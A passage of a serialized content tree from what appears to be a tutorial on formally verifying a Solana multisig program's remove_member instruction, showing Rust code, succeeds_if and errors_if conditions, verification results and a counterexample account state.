b\"multisig\"\n",{"type":23,"tag":141,"props":24353,"children":24354},{"class":143,"line":810},[24355,24360,24365,24369,24373,24377],{"type":23,"tag":141,"props":24356,"children":24357},{"style":154},[24358],{"type":29,"value":24359}," ], ",{"type":23,"tag":141,"props":24361,"children":24362},{"style":750},[24363],{"type":29,"value":24364},"bump",{"type":23,"tag":141,"props":24366,"children":24367},{"style":160},[24368],{"type":29,"value":1674},{"type":23,"tag":141,"props":24370,"children":24371},{"style":750},[24372],{"type":29,"value":21757},{"type":23,"tag":141,"props":24374,"children":24375},{"style":160},[24376],{"type":29,"value":322},{"type":23,"tag":141,"props":24378,"children":24379},{"style":154},[24380],{"type":29,"value":21737},{"type":23,"tag":141,"props":24382,"children":24383},{"class":143,"line":824},[24384],{"type":23,"tag":141,"props":24385,"children":24386},{"style":154},[24387],{"type":29,"value":21745},{"type":23,"tag":141,"props":24389,"children":24390},{"class":143,"line":839},[24391,24395,24400,24404,24408,24412,24416],{"type":23,"tag":141,"props":24392,"children":24393},{"style":449},[24394],{"type":29,"value":19515},{"type":23,"tag":141,"props":24396,"children":24397},{"style":750},[24398],{"type":29,"value":24399}," multisig_auth",{"type":23,"tag":141,"props":24401,"children":24402},{"style":160},[24403],{"type":29,"value":114},{"type":23,"tag":141,"props":24405,"children":24406},{"style":725},[24407],{"type":29,"value":21830},{"type":23,"tag":141,"props":24409,"children":24410},{"style":154},[24411],{"type":29,"value":21594},{"type":23,"tag":141,"props":24413,"children":24414},{"style":725},[24415],{"type":29,"value":21599},{"type":23,"tag":141,"props":24417,"children":24418},{"style":154},[24419],{"type":29,"value":4812},{"type":23,"tag":141,"props":24421,"children":24422},{"class":143,"line":848},[24423],{"type":23,"tag":141,"props":24424,"children":24425},{"style":154},[24426],{"type":29,"value":2573},{"type":23,"tag":141,"props":24428,"children":24429},{"class":143,"line":2304},[24430],{"type":23,"tag":141,"props":24431,"children":24432},{"emptyLinePlaceholder":15},[24433],{"type":29,"value":719},{"type":23,"tag":141,"props":24435,"children":24436},{"class":143,"line":2313},[24437,24441,24445,24450,24454,24458,24462,24466,24470,24475,24479,24484,24488,24492,24496,24500,24504],{"type":23,"tag":141,"props":24438,"children":24439},{"style":449},[24440],{"type":29,"value":12368},{"type":23,"tag":141,"props":24442,"children":24443},{"style":449},[24444],{"type":29,"value":12373},{"type":23,"tag":141,"props":24446,"children":24447},{"style":184},[24448],{"type":29,"value":24449}," remove_member",{"type":23,"tag":141,"props":24451,"children":24452},{"style":154},[24453],{"type":29,"value":192},{"type":23,"tag":141,"props":24455,"children":24456},{"style":750},[24457],{"type":29,"value":18952},{"type":23,"tag":141,"props":24459,"children":24460},{"style":160},[24461],{"type":29,"value":114},{"type":23,"tag":141,"props":24463,"children":24464},{"style":725},[24465],{"type":29,"value":18961},{"type":23,"tag":141,"props":24467,"children":24468},{"style":154},[24469],{"type":29,"value":4480},{"type":23,"tag":141,"props":24471,"children":24472},{"style":725},[24473],{"type":29,"value":24474},"MsAuth",{"type":23,"tag":141,"props":24476,"children":24477},{"style":154},[24478],{"type":29,"value":5304},{"type":23,"tag":141,"props":24480,"children":24481},{"style":750},[24482],{"type":29,"value":24483},"old_member",{"type":23,"tag":141,"props":24485,"children":24486},{"style":160},[24487],{"type":29,"value":114},{"type":23,"tag":141,"props":24489,"children":24490},{"style":725},[24491],{"type":29,"value":19529},{"type":23,"tag":141,"props":24493,"children":24494},{"style":154},[24495],{"type":29,"value":1748},{"type":23,"tag":141,"props":24497,"children":24498},{"style":160},[24499],{"type":29,"value":12435},{"type":23,"tag":141,"props":24501,"children":24502},{"style":725},[24503],{"type":29,"value":12440},{"type":23,"tag":141,"props":24505,"children":24506},{"style":154},[24507],{"type":29,"value":19003},{"type":23,"tag":141,"props":24509,"children":24510},{"class":143,"line":2335},[24511],{"type":23,"tag":141,"props":24512,"children":24513},{"style":443},[24514],{"type":29,"value":24515}," // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":141,"props":24517,"children":24518},{"class":143,"line":2343},[24519,24523,24528,24532,24536,24540,24544,24548,24552,24556,24560,24564,24568,24572],{"type":23,"tag":141,"props":24520,"children":24521},{"style":148},[24522],{"type":29,"value":151},{"type":23,"tag":141,"props":24524,"children":24525},{"style":750},[24526],{"type":29,"value":24527}," ctx",{"type":23,"tag":141,"props":24529,"children":24530},{"style":160},[24531],{"type":29,"value":322},{"type":23,"tag":141,"props":24533,"children":24534},{"style":154},[24535],{"type":29,"value":13351},{"type":23,"tag":141,"props":24537,"children":24538},{"style":160},[24539],{"type":29,"value":322},{"type":23,"tag":141,"props":24541,"children":24542},{"style":154},[24543],{"type":29,"value":22488},{"type":23,"tag":141,"props":24545,"children":24546},{"style":160},[24547],{"type":29,"value":322},{"type":23,"tag":141,"props":24549,"children":24550},{"style":154},[24551],{"type":29,"value":19655},{"type":23,"tag":141,"props":24553,"children":24554},{"style":160},[24555],{"type":29,"value":322},{"type":23,"tag":141,"props":24557,"children":24558},{"style":184},[24559],{"type":29,"value":7817},{"type":23,"tag":141,"props":24561,"children":24562},{"style":154},[24563],{"type":29,"value":12720},{"type":23,"tag":141,"props":24565,"children":24566},{"style":160},[24567],{"type":29,"value":7251},{"type":23,"tag":141,"props":24569,"children":24570},{"style":472},[24571],{"type":29,"value":3198},{"type":23,"tag":141,"props":24573,"children":24574},{"style":154},[24575],{"type":29,"value":1951},{"type":23,"tag":141,"props":24577,"children":24578},{"class":143,"line":2352},[24579,24583,24587,24591,24595,24599,24604],{"type":23,"tag":141,"props":24580,"children":24581},{"style":148},[24582],{"type":29,"value":14420},{"type":23,"tag":141,"props":24584,"children":24585},{"style":184},[24586],{"type":29,"value":22191},{"type":23,"tag":141,"props":24588,"children":24589},{"style":154},[24590],{"type":29,"value":192},{"type":23,"tag":141,"props":24592,"children":24593},{"style":725},[24594],{"type":29,"value":22200},{"type":23,"tag":141,"props":24596,"children":24597},{"style":160},[24598],{"type":29,"value":2141},{"type":23,"tag":141,"props":24600,"children":24601},{"style":725},[24602],{"type":29,"value":24603},"CannotRemoveSoloMember",{"type":23,"tag":141,"props":24605,"children":24606},{"style":154},[24607],{"type":29,"value":2496},{"type":23,"tag":141,"props":24609,"children":24610},{"class":143,"line":2421},[24611],{"type":23,"tag":141,"props":24612,"children":24613},{"style":154},[24614],{"type":29,"value":299},{"type":23,"tag":141,"props":24616,"children":24617},{"class":143,"line":2429},[24618,24622,24626,24630,24634,24638,24642,24646,24650,24654,24658,24662],{"type":23,"tag":141,"props":24619,"children":24620},{"style":750},[24621],{"type":29,"value":18895},{"type":23,"tag":141,"props":24623,"children":24624},{"style":160},[24625],{"type":29,"value":322},{"type":23,"tag":141,"props":24627,"children":24628},{"style":154},[24629],{"type":29,"value":13351},{"type":23,"tag":141,"props":24631,"children":24632},{"style":160},[24633],{"type":29,"value":322},{"type":23,"tag":141,"props":24635,"children":24636},{"style":154},[24637],{"type":29,"value":22488},{"type":23,"tag":141,"props":24639,"children":24640},{"style":160},[24641],{"type":29,"value":322},{"type":23,"tag":141,"props":24643,"children":24644},{"style":184},[24645],{"type":29,"value":24150},{"type":23,"tag":141,"props":24647,"children":24648},{"style":154},[24649],{"type":29,"value":192},{"type":23,"tag":141,"props":24651,"children":24652},{"style":750},[24653],{"type":29,"value":24483},{"type":23,"tag":141,"props":24655,"children":24656},{"style":154},[24657],{"type":29,"value":1788},{"type":23,"tag":141,"props":24659,"children":24660},{"style":160},[24661],{"type":29,"value":1816},{"type":23,"tag":141,"props":24663,"children":24664},{"style":154},[24665],{"type":29,"value":1684},{"type":23,"tag":141,"props":24667,"children":24668},{"class":143,"line":2459},[24669],{"type":23,"tag":141,"props":24670,"children":24671},{"emptyLinePlaceholder":15},[24672],{"type":29,"value":719},{"type":23,"tag":141,"props":24674,"children":24675},{"class":143,"line":2467},[24676],{"type":23,"tag":141,"props":24677,"children":24678},{"style":443},[24679],{"type":29,"value":24680}," // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":141,"props":24682,"children":24683},{"class":143,"line":2499},[24684,24688,24692,24696,24700,24704,24708,24712,24716,24720,24724,24729,24733,24737,24741,24745,24749,24753,24757,24761,24765,24769],{"type":23,"tag":141,"props":24685,"children":24686},{"style":148},[24687],{"type":29,"value":151},{"type":23,"tag":141,"props":24689,"children":24690},{"style":750},[24691],{"type":29,"value":24527},{"type":23,"tag":141,"props":24693,"children":24694},{"style":160},[24695],{"type":29,"value":322},{"type":23,"tag":141,"props":24697,"children":24698},{"style":154},[24699],{"type":29,"value":13351},{"type":23,"tag":141,"props":24701,"children":24702},{"style":160},[24703],{"type":29,"value":322},{"type":23,"tag":141,"props":24705,"children":24706},{"style":154},[24707],{"type":29,"value":22488},{"type":23,"tag":141,"props":24709,"children":24710},{"style":160},[24711],{"type":29,"value":322},{"type":23,"tag":141,"props":24713,"children":24714},{"style":154},[24715],{"type":29,"value":19655},{"type":23,"tag":141,"props":24717,"children":24718},{"style":160},[24719],{"type":29,"value":322},{"type":23,"tag":141,"props":24721,"children":24722},{"style":184},[24723],{"type":29,"value":7817},{"type":23,"tag":141,"props":24725,"children":24726},{"style":154},[24727],{"type":29,"value":24728},"() \u003C ",{"type":23,"tag":141,"props":24730,"children":24731},{"style":725},[24732],{"type":29,"value":15277},{"type":23,"tag":141,"props":24734,"children":24735},{"style":160},[24736],{"type":29,"value":2141},{"type":23,"tag":141,"props":24738,"children":24739},{"style":184},[24740],{"type":29,"value":18145},{"type":23,"tag":141,"props":24742,"children":24743},{"style":154},[24744],{"type":29,"value":192},{"type":23,"tag":141,"props":24746,"children":24747},{"style":750},[24748],{"type":29,"value":18952},{"type":23,"tag":141,"props":24750,"children":24751},{"style":160},[24752],{"type":29,"value":322},{"type":23,"tag":141,"props":24754,"children":24755},{"style":154},[24756],{"type":29,"value":13351},{"type":23,"tag":141,"props":24758,"children":24759},{"style":160},[24760],{"type":29,"value":322},{"type":23,"tag":141,"props":24762,"children":24763},{"style":154},[24764],{"type":29,"value":22488},{"type":23,"tag":141,"props":24766,"children":24767},{"style":160},[24768],{"type":29,"value":322},{"type":23,"tag":141,"props":24770,"children":24771},{"style":154},[24772],{"type":29,"value":24773},"threshold) {\n",{"type":23,"tag":141,"props":24775,"children":24776},{"class":143,"line":2507},[24777,24781,24786,24790,24794,24798,24802,24806,24810,24814,24818,24822,24826,24830,24834,24838,24842,24847,24851,24855,24859],{"type":23,"tag":141,"props":24778,"children":24779},{"style":449},[24780],{"type":29,"value":1725},{"type":23,"tag":141,"props":24782,"children":24783},{"style":750},[24784],{"type":29,"value":24785}," new_threshold",{"type":23,"tag":141,"props":24787,"children":24788},{"style":160},[24789],{"type":29,"value":114},{"type":23,"tag":141,"props":24791,"children":24792},{"style":725},[24793],{"type":29,"value":19702},{"type":23,"tag":141,"props":24795,"children":24796},{"style":160},[24797],{"type":29,"value":1674},{"type":23,"tag":141,"props":24799,"children":24800},{"style":750},[24801],{"type":29,"value":24527},{"type":23,"tag":141,"props":24803,"children":24804},{"style":160},[24805],{"type":29,"value":322},{"type":23,"tag":141,"props":24807,"children":24808},{"style":154},[24809],{"type":29,"value":13351},{"type":23,"tag":141,"props":24811,"children":24812},{"style":160},[24813],{"type":29,"value":322},{"type":23,"tag":141,"props":24815,"children":24816},{"style":154},[24817],{"type":29,"value":22488},{"type":23,"tag":141,"props":24819,"children":24820},{"style":160},[24821],{"type":29,"value":322},{"type":23,"tag":141,"props":24823,"children":24824},{"style":154},[24825],{"type":29,"value":19655},{"type":23,"tag":141,"props":24827,"children":24828},{"style":160},[24829],{"type":29,"value":322},{"type":23,"tag":141,"props":24831,"children":24832},{"style":184},[24833],{"type":29,"value":7817},{"type":23,"tag":141,"props":24835,"children":24836},{"style":154},[24837],{"type":29,"value":12557},{"type":23,"tag":141,"props":24839,"children":24840},{"style":160},[24841],{"type":29,"value":322},{"type":23,"tag":141,"props":24843,"children":24844},{"style":184},[24845],{"type":29,"value":24846},"try_into",{"type":23,"tag":141,"props":24848,"children":24849},{"style":154},[24850],{"type":29,"value":12557},{"type":23,"tag":141,"props":24852,"children":24853},{"style":160},[24854],{"type":29,"value":322},{"type":23,"tag":141,"props":24856,"children":24857},{"style":184},[24858],{"type":29,"value":2328},{"type":23,"tag":141,"props":24860,"children":24861},{"style":154},[24862],{"type":29,"value":1305},{"type":23,"tag":141,"props":24864,"children":24865},{"class":143,"line":2567},[24866,24871,24875,24879,24883,24887,24891,24896,24900,24905,24909,24913],{"type":23,"tag":141,"props":24867,"children":24868},{"style":750},[24869],{"type":29,"value":24870}," ctx",{"type":23,"tag":141,"props":24872,"children":24873},{"style":160},[24874],{"type":29,"value":322},{"type":23,"tag":141,"props":24876,"children":24877},{"style":154},[24878],{"type":29,"value":13351},{"type":23,"tag":141,"props":24880,"children":24881},{"style":160},[24882],{"type":29,"value":322},{"type":23,"tag":141,"props":24884,"children":24885},{"style":154},[24886],{"type":29,"value":22488},{"type":23,"tag":141,"props":24888,"children":24889},{"style":160},[24890],{"type":29,"value":322},{"type":23,"tag":141,"props":24892,"children":24893},{"style":184},[24894],{"type":29,"value":24895},"change_threshold",{"type":23,"tag":141,"props":24897,"children":24898},{"style":154},[24899],{"type":29,"value":192},{"type":23,"tag":141,"props":24901,"children":24902},{"style":750},[24903],{"type":29,"value":24904},"new_threshold",{"type":23,"tag":141,"props":24906,"children":24907},{"style":154},[24908],{"type":29,"value":1788},{"type":23,"tag":141,"props":24910,"children":24911},{"style":160},[24912],{"type":29,"value":1816},{"type":23,"tag":141,"props":24914,"children":24915},{"style":154},[24916],{"type":29,"value":1684},{"type":23,"tag":141,"props":24918,"children":24919},{"class":143,"line":7724},[24920],{"type":23,"tag":141,"props":24921,"children":24922},{"style":154},[24923],{"type":29,"value":299},{"type":23,"tag":141,"props":24925,"children":24926},{"class":143,"line":7742},[24927,24931,24936,24940,24944,24948,24952,24956,24960,24964],{"type":23,"tag":141,"props":24928,"children":24929},{"style":449},[24930],{"type":29,"value":1659},{"type":23,"tag":141,"props":24932,"children":24933},{"style":750},[24934],{"type":29,"value":24935}," new_index",{"type":23,"tag":141,"props":24937,"children":24938},{"style":160},[24939],{"type":29,"value":1674},{"type":23,"tag":141,"props":24941,"children":24942},{"style":750},[24943],{"type":29,"value":24527},{"type":23,"tag":141,"props":24945,"children":24946},{"style":160},[24947],{"type":29,"value":322},{"type":23,"tag":141,"props":24949,"children":24950},{"style":154},[24951],{"type":29,"value":13351},{"type":23,"tag":141,"props":24953,"children":24954},{"style":160},[24955],{"type":29,"value":322},{"type":23,"tag":141,"props":24957,"children":24958},{"style":154},[24959],{"type":29,"value":22488},{"type":23,"tag":141,"props":24961,"children":24962},{"style":160},[24963],{"type":29,"value":322},{"type":23,"tag":141,"props":24965,"children":24966},{"style":154},[24967],{"type":29,"value":24968},"transaction_index;\n",{"type":23,"tag":141,"props":24970,"children":24971},{"class":143,"line":7787},[24972,24976,24980,24984,24988,24992,24996,25001,25005,25010],{"type":23,"tag":141,"props":24973,"children":24974},{"style":750},[24975],{"type":29,"value":18895},{"type":23,"tag":141,"props":24977,"children":24978},{"style":160},[24979],{"type":29,"value":322},{"type":23,"tag":141,"props":24981,"children":24982},{"style":154},[24983],{"type":29,"value":13351},{"type":23,"tag":141,"props":24985,"children":24986},{"style":160},[24987],{"type":29,"value":322},{"type":23,"tag":141,"props":24989,"children":24990},{"style":154},[24991],{"type":29,"value":22488},{"type":23,"tag":141,"props":24993,"children":24994},{"style":160},[24995],{"type":29,"value":322},{"type":23,"tag":141,"props":24997,"children":24998},{"style":184},[24999],{"type":29,"value":25000},"set_change_index",{"type":23,"tag":141,"props":25002,"children":25003},{"style":154},[25004],{"type":29,"value":192},{"type":23,"tag":141,"props":25006,"children":25007},{"style":750},[25008],{"type":29,"value":25009},"new_index",{"type":23,"tag":141,"props":25011,"children":25012},{"style":154},[25013],{"type":29,"value":758},{"type":23,"tag":141,"props":25015,"children":25016},{"class":143,"line":7893},[25017],{"type":23,"tag":141,"props":25018,"children":25019},{"style":154},[25020],{"type":29,"value":2573},{"type":23,"tag":32,"props":25022,"children":25023},{},[25024,25026,25031],{"type":29,"value":25025},"First let's establish the ",{"type":23,"tag":38,"props":25027,"children":25029},{"className":25028},[],[25030],{"type":29,"value":18826},{"type":29,"value":25032}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":131,"props":25034,"children":25036},{"code":25035,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[25037],{"type":23,"tag":38,"props":25038,"children":25039},{"__ignoreMap":7},[25040,25047,25094,25101],{"type":23,"tag":141,"props":25041,"children":25042},{"class":143,"line":144},[25043],{"type":23,"tag":141,"props":25044,"children":25045},{"style":154},[25046],{"type":29,"value":22795},{"type":23,"tag":141,"props":25048,"children":25049},{"class":143,"line":180},[25050,25054,25058,25062,25066,25070,25074,25078,25082,25086,25090],{"type":23,"tag":141,"props":25051,"children":25052},{"style":154},[25053],{"type":29,"value":18895},{"type":23,"tag":141,"props":25055,"children":25056},{"style":160},[25057],{"type":29,"value":322},{"type":23,"tag":141,"props":25059,"children":25060},{"style":154},[25061],{"type":29,"value":13351},{"type":23,"tag":141,"props":25063,"children":25064},{"style":160},[25065],{"type":29,"value":322},{"type":23,"tag":141,"props":25067,"children":25068},{"style":154},[25069],{"type":29,"value":22488},{"type":23,"tag":141,"props":25071,"children":25072},{"style":160},[25073],{"type":29,"value":322},{"type":23,"tag":141,"props":25075,"children":25076},{"style":154},[25077],{"type":29,"value":19655},{"type":23,"tag":141,"props":25079,"children":25080},{"style":160},[25081],{"type":29,"value":322},{"type":23,"tag":141,"props":25083,"children":25084},{"style":154},[25085],{"type":29,"value":19693},{"type":23,"tag":141,"props":25087,"children":25088},{"style":160},[25089],{"type":29,"value":9142},{"type":23,"tag":141,"props":25091,"children":25092},{"style":154},[25093],{"type":29,"value":18114},{"type":23,"tag":141,"props":25095,"children":25096},{"class":143,"line":205},[25097],{"type":23,"tag":141,"props":25098,"children":25099},{"style":154},[25100],{"type":29,"value":18930},{"type":23,"tag":141,"props":25102,"children":25103},{"class":143,"line":218},[25104,25108,25112,25116,25120,25124,25128],{"type":23,"tag":141,"props":25105,"children":25106},{"style":449},[25107],{"type":29,"value":18938},{"type":23,"tag":141,"props":25109,"children":25110},{"style":184},[25111],{"type":29,"value":24449},{"type":23,"tag":141,"props":25113,"children":25114},{"style":154},[25115],{"type":29,"value":192},{"type":23,"tag":141,"props":25117,"children":25118},{"style":160},[25119],{"type":29,"value":8269},{"type":23,"tag":141,"props":25121,"children":25122},{"style":154},[25123],{"type":29,"value":22672},{"type":23,"tag":141,"props":25125,"children":25126},{"style":160},[25127],{"type":29,"value":8269},{"type":23,"tag":141,"props":25129,"children":25130},{"style":154},[25131],{"type":29,"value":8274},{"type":23,"tag":32,"props":25133,"children":25134},{},[25135,25137,25142],{"type":29,"value":25136},"And for now let's remove the invariant on the ",{"type":23,"tag":38,"props":25138,"children":25140},{"className":25139},[],[25141],{"type":29,"value":21413},{"type":29,"value":25143}," account:",{"type":23,"tag":131,"props":25145,"children":25147},{"code":25146,"language":1638,"meta":7,"className":1639,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[25148],{"type":23,"tag":38,"props":25149,"children":25150},{"__ignoreMap":7},[25151,25159],{"type":23,"tag":141,"props":25152,"children":25153},{"class":143,"line":144},[25154],{"type":23,"tag":141,"props":25155,"children":25156},{"style":154},[25157],{"type":29,"value":25158},"#[invariant()]\n",{"type":23,"tag":141,"props":25160,"children":25161},{"class":143,"line":180},[25162,25166,25170,25174,25178,25182],{"type":23,"tag":141,"props":25163,"children":25164},{"style":449},[25165],{"type":29,"value":12368},{"type":23,"tag":141,"props":25167,"children":25168},{"style":449},[25169],{"type":29,"value":19823},{"type":23,"tag":141,"props":25171,"children":25172},{"style":725},[25173],{"type":29,"value":19828},{"type":23,"tag":141,"props":25175,"children":25176},{"style":154},[25177],{"type":29,"value":8264},{"type":23,"tag":141,"props":25179,"children":25180},{"style":160},[25181],{"type":29,"value":8269},{"type":23,"tag":141,"props":25183,"children":25184},{"style":154},[25185],{"type":29,"value":8274},{"type":23,"tag":32,"props":25187,"children":25188},{},[25189],{"type":29,"value":25190},"Let's test this!",{"type":23,"tag":32,"props":25192,"children":25193},{},[25194,25196,25201],{"type":29,"value":25195},"Our ",{"type":23,"tag":38,"props":25197,"children":25199},{"className":25198},[],[25200],{"type":29,"value":18826},{"type":29,"value":25202}," harness produces:",{"type":23,"tag":131,"props":25204,"children":25206},{"code":25205},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[25207],{"type":23,"tag":38,"props":25208,"children":25209},{"__ignoreMap":7},[25210],{"type":29,"value":25205},{"type":23,"tag":32,"props":25212,"children":25213},{},[25214],{"type":29,"value":25215},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":32,"props":25217,"children":25218},{},[25219,25221,25226],{"type":29,"value":25220},"However, remember that since ",{"type":23,"tag":38,"props":25222,"children":25224},{"className":25223},[],[25225],{"type":29,"value":18826},{"type":29,"value":25227}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":32,"props":25229,"children":25230},{},[25231,25233,25238,25240,25245,25247,25252],{"type":29,"value":25232},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":47,"props":25234,"children":25235},{},[25236],{"type":29,"value":25237},"only condition",{"type":29,"value":25239}," in which the function will succeed (i.e. ",{"type":23,"tag":47,"props":25241,"children":25242},{},[25243],{"type":29,"value":25244},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":25246},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":38,"props":25248,"children":25250},{"className":25249},[],[25251],{"type":29,"value":18833},{"type":29,"value":25253}," macro such as:",{"type":23,"tag":131,"props":25255,"children":25257},{"code":25256,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[25258],{"type":23,"tag":38,"props":25259,"children":25260},{"__ignoreMap":7},[25261,25268,25315,25322,25329,25376,25383],{"type":23,"tag":141,"props":25262,"children":25263},{"class":143,"line":144},[25264],{"type":23,"tag":141,"props":25265,"children":25266},{"style":154},[25267],{"type":29,"value":22795},{"type":23,"tag":141,"props":25269,"children":25270},{"class":143,"line":180},[25271,25275,25279,25283,25287,25291,25295,25299,25303,25307,25311],{"type":23,"tag":141,"props":25272,"children":25273},{"style":154},[25274],{"type":29,"value":18895},{"type":23,"tag":141,"props":25276,"children":25277},{"style":160},[25278],{"type":29,"value":322},{"type":23,"tag":141,"props":25280,"children":25281},{"style":154},[25282],{"type":29,"value":13351},{"type":23,"tag":141,"props":25284,"children":25285},{"style":160},[25286],{"type":29,"value":322},{"type":23,"tag":141,"props":25288,"children":25289},{"style":154},[25290],{"type":29,"value":22488},{"type":23,"tag":141,"props":25292,"children":25293},{"style":160},[25294],{"type":29,"value":322},{"type":23,"tag":141,"props":25296,"children":25297},{"style":154},[25298],{"type":29,"value":19655},{"type":23,"tag":141,"props":25300,"children":25301},{"style":160},[25302],{"type":29,"value":322},{"type":23,"tag":141,"props":25304,"children":25305},{"style":154},[25306],{"type":29,"value":19693},{"type":23,"tag":141,"props":25308,"children":25309},{"style":160},[25310],{"type":29,"value":9142},{"type":23,"tag":141,"props":25312,"children":25313},{"style":154},[25314],{"type":29,"value":18114},{"type":23,"tag":141,"props":25316,"children":25317},{"class":143,"line":205},[25318],{"type":23,"tag":141,"props":25319,"children":25320},{"style":154},[25321],{"type":29,"value":18930},{"type":23,"tag":141,"props":25323,"children":25324},{"class":143,"line":218},[25325],{"type":23,"tag":141,"props":25326,"children":25327},{"style":154},[25328],{"type":29,"value":18887},{"type":23,"tag":141,"props":25330,"children":25331},{"class":143,"line":227},[25332,25336,25340,25344,25348,25352,25356,25360,25364,25368,25372],{"type":23,"tag":141,"props":25333,"children":25334},{"style":154},[25335],{"type":29,"value":18895},{"type":23,"tag":141,"props":25337,"children":25338},{"style":160},[25339],{"type":29,"value":322},{"type":23,"tag":141,"props":25341,"children":25342},{"style":154},[25343],{"type":29,"value":13351},{"type":23,"tag":141,"props":25345,"children":25346},{"style":160},[25347],{"type":29,"value":322},{"type":23,"tag":141,"props":25349,"children":25350},{"style":154},[25351],{"type":29,"value":22488},{"type":23,"tag":141,"props":25353,"children":25354},{"style":160},[25355],{"type":29,"value":322},{"type":23,"tag":141,"props":25357,"children":25358},{"style":154},[25359],{"type":29,"value":19655},{"type":23,"tag":141,"props":25361,"children":25362},{"style":160},[25363],{"type":29,"value":322},{"type":23,"tag":141,"props":25365,"children":25366},{"style":154},[25367],{"type":29,"value":19693},{"type":23,"tag":141,"props":25369,"children":25370},{"style":160},[25371],{"type":29,"value":18086},{"type":23,"tag":141,"props":25373,"children":25374},{"style":154},[25375],{"type":29,"value":18114},{"type":23,"tag":141,"props":25377,"children":25378},{"class":143,"line":241},[25379],{"type":23,"tag":141,"props":25380,"children":25381},{"style":154},[25382],{"type":29,"value":18930},{"type":23,"tag":141,"props":25384,"children":25385},{"class":143,"line":262},[25386,25390,25394,25398,25402,25406,25410],{"type":23,"tag":141,"props":25387,"children":25388},{"style":449},[25389],{"type":29,"value":18938},{"type":23,"tag":141,"props":25391,"children":25392},{"style":184},[25393],{"type":29,"value":24449},{"type":23,"tag":141,"props":25395,"children":25396},{"style":154},[25397],{"type":29,"value":192},{"type":23,"tag":141,"props":25399,"children":25400},{"style":160},[25401],{"type":29,"value":8269},{"type":23,"tag":141,"props":25403,"children":25404},{"style":154},[25405],{"type":29,"value":22672},{"type":23,"tag":141,"props":25407,"children":25408},{"style":160},[25409],{"type":29,"value":8269},{"type":23,"tag":141,"props":25411,"children":25412},{"style":154},[25413],{"type":29,"value":8274},{"type":23,"tag":32,"props":25415,"children":25416},{},[25417,25419,25424],{"type":29,"value":25418},"Let's test this, we just need to run the new ",{"type":23,"tag":38,"props":25420,"children":25422},{"className":25421},[],[25423],{"type":29,"value":18833},{"type":29,"value":25425}," harness:",{"type":23,"tag":131,"props":25427,"children":25429},{"code":25428},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[25430],{"type":23,"tag":38,"props":25431,"children":25432},{"__ignoreMap":7},[25433],{"type":29,"value":25428},{"type":23,"tag":32,"props":25435,"children":25436},{},[25437],{"type":29,"value":25438},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":131,"props":25440,"children":25442},{"code":25441,"language":1638,"meta":7,"className":1639,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[25443],{"type":23,"tag":38,"props":25444,"children":25445},{"__ignoreMap":7},[25446,25457,25476,25495,25514,25533,25552,25571,25590,25609,25628,25648,25667,25674,25681,25708],{"type":23,"tag":141,"props":25447,"children":25448},{"class":143,"line":144},[25449,25453],{"type":23,"tag":141,"props":25450,"children":25451},{"style":725},[25452],{"type":29,"value":15822},{"type":23,"tag":141,"props":25454,"children":25455},{"style":154},[25456],{"type":29,"value":1951},{"type":23,"tag":141,"props":25458,"children":25459},{"class":143,"line":180},[25460,25464,25468,25472],{"type":23,"tag":141,"props":25461,"children":25462},{"style":750},[25463],{"type":29,"value":23855},{"type":23,"tag":141,"props":25465,"children":25466},{"style":160},[25467],{"type":29,"value":114},{"type":23,"tag":141,"props":25469,"children":25470},{"style":725},[25471],{"type":29,"value":19828},{"type":23,"tag":141,"props":25473,"children":25474},{"style":154},[25475],{"type":29,"value":1951},{"type":23,"tag":141,"props":25477,"children":25478},{"class":143,"line":205},[25479,25483,25487,25491],{"type":23,"tag":141,"props":25480,"children":25481},{"style":750},[25482],{"type":29,"value":22509},{"type":23,"tag":141,"props":25484,"children":25485},{"style":160},[25486],{"type":29,"value":114},{"type":23,"tag":141,"props":25488,"children":25489},{"style":472},[25490],{"type":29,"value":1707},{"type":23,"tag":141,"props":25492,"children":25493},{"style":154},[25494],{"type":29,"value":2168},{"type":23,"tag":141,"props":25496,"children":25497},{"class":143,"line":218},[25498,25502,25506,25510],{"type":23,"tag":141,"props":25499,"children":25500},{"style":750},[25501],{"type":29,"value":23895},{"type":23,"tag":141,"props":25503,"children":25504},{"style":160},[25505],{"type":29,"value":114},{"type":23,"tag":141,"props":25507,"children":25508},{"style":472},[25509],{"type":29,"value":1707},{"type":23,"tag":141,"props":25511,"children":25512},{"style":154},[25513],{"type":29,"value":2168},{"type":23,"tag":141,"props":25515,"children":25516},{"class":143,"line":227},[25517,25521,25525,25529],{"type":23,"tag":141,"props":25518,"children":25519},{"style":750},[25520],{"type":29,"value":23915},{"type":23,"tag":141,"props":25522,"children":25523},{"style":160},[25524],{"type":29,"value":114},{"type":23,"tag":141,"props":25526,"children":25527},{"style":472},[25528],{"type":29,"value":1707},{"type":23,"tag":141,"props":25530,"children":25531},{"style":154},[25532],{"type":29,"value":2168},{"type":23,"tag":141,"props":25534,"children":25535},{"class":143,"line":241},[25536,25540,25544,25548],{"type":23,"tag":141,"props":25537,"children":25538},{"style":750},[25539],{"type":29,"value":23935},{"type":23,"tag":141,"props":25541,"children":25542},{"style":160},[25543],{"type":29,"value":114},{"type":23,"tag":141,"props":25545,"children":25546},{"style":472},[25547],{"type":29,"value":1707},{"type":23,"tag":141,"props":25549,"children":25550},{"style":154},[25551],